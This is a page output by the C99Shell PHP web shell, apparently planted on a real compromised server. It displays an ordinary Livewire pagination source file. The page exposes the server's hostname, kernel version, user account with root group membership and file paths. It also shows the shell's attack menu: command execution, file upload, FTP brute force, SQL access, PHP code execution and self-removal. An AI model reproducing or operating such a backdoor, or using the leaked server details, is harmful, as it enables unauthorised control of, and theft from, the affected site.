!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WithPagination.php (3.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
Illuminate\Pagination\Cursor;
use 
Illuminate\Pagination\CursorPaginator;
use 
Illuminate\Pagination\Paginator;

trait 
WithPagination
{
    public 
$page 1;

    public 
$paginators = [];

    protected 
$numberOfPaginatorsRendered = [];

    public function 
queryStringWithPagination()
    {
        foreach (
$this->paginators as $key => $value) {
            
$this->$key $value;
        }

        return 
array_fill_keys(array_keys($this->paginators), ['except' => 1]);
    }

    public function 
initializeWithPagination()
    {
        foreach (
$this->paginators as $key => $value) {
            
$this->$key $value;
        }

        
$this->page $this->resolvePage();

        
$this->paginators['page'] = $this->page;

        if (
class_exists(CursorPaginator::class)) {
            
CursorPaginator::currentCursorResolver(function ($pageName){
                if (! isset(
$this->paginators[$pageName])) {
                    
$this->paginators[$pageName] = request()->query($pageName'');
                }
                return 
Cursor::fromEncoded($this->paginators[$pageName]);
            });
        }

        
Paginator::currentPageResolver(function ($pageName) {
            if (! isset(
$this->paginators[$pageName])) {
                
$this->paginators[$pageName] = request()->query($pageName1);
            }

            return (int) 
$this->paginators[$pageName];
        });

        
Paginator::defaultView($this->paginationView());
        
Paginator::defaultSimpleView($this->paginationSimpleView());
    }

    public function 
paginationView()
    {
        return 
'livewire::' . (property_exists($this'paginationTheme') ? $this->paginationTheme 'tailwind');
    }

    public function 
paginationSimpleView()
    {
        return 
'livewire::simple-' . (property_exists($this'paginationTheme') ? $this->paginationTheme 'tailwind');
    }

    public function 
previousPage($pageName 'page')
    {
        
$this->setPage(max($this->paginators[$pageName] - 11), $pageName);
    }

    public function 
nextPage($pageName 'page')
    {
        
$this->setPage($this->paginators[$pageName] + 1$pageName);
    }

    public function 
gotoPage($page$pageName 'page')
    {
        
$this->setPage($page$pageName);
    }

    public function 
resetPage($pageName 'page')
    {
        
$this->setPage(1$pageName);
    }

    public function 
setPage($page$pageName 'page')
    {
        if (
is_numeric($page)){
            
$page = (int)$page;
            
$page $page <= $page ;
        }
        
$beforePaginatorMethod 'updatingPaginators';
        
$afterPaginatorMethod 'updatedPaginators';

        
$beforeMethod 'updating' $pageName;
        
$afterMethod 'updated' $pageName;

        if (
method_exists($this$beforePaginatorMethod)) {
            
$this->{$beforePaginatorMethod}($page$pageName);
        }

        if (
method_exists($this$beforeMethod)) {
            
$this->{$beforeMethod}($pagenull);
        }

        
$this->paginators[$pageName] =  $page;

        
$this->{$pageName} = $page;

        if (
method_exists($this$afterPaginatorMethod)) {
            
$this->{$afterPaginatorMethod}($page$pageName);
        }

        if (
method_exists($this$afterMethod)) {
            
$this->{$afterMethod}($pagenull);
        }
    }

    public function 
resolvePage()
    {
        
// The "page" query string item should only be available
        // from within the original component mount run.
        // Avoid cast to integer to prevent hydrate error
        
return request()->query(data_get($this->queryString'page.as''page'), $this->page);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--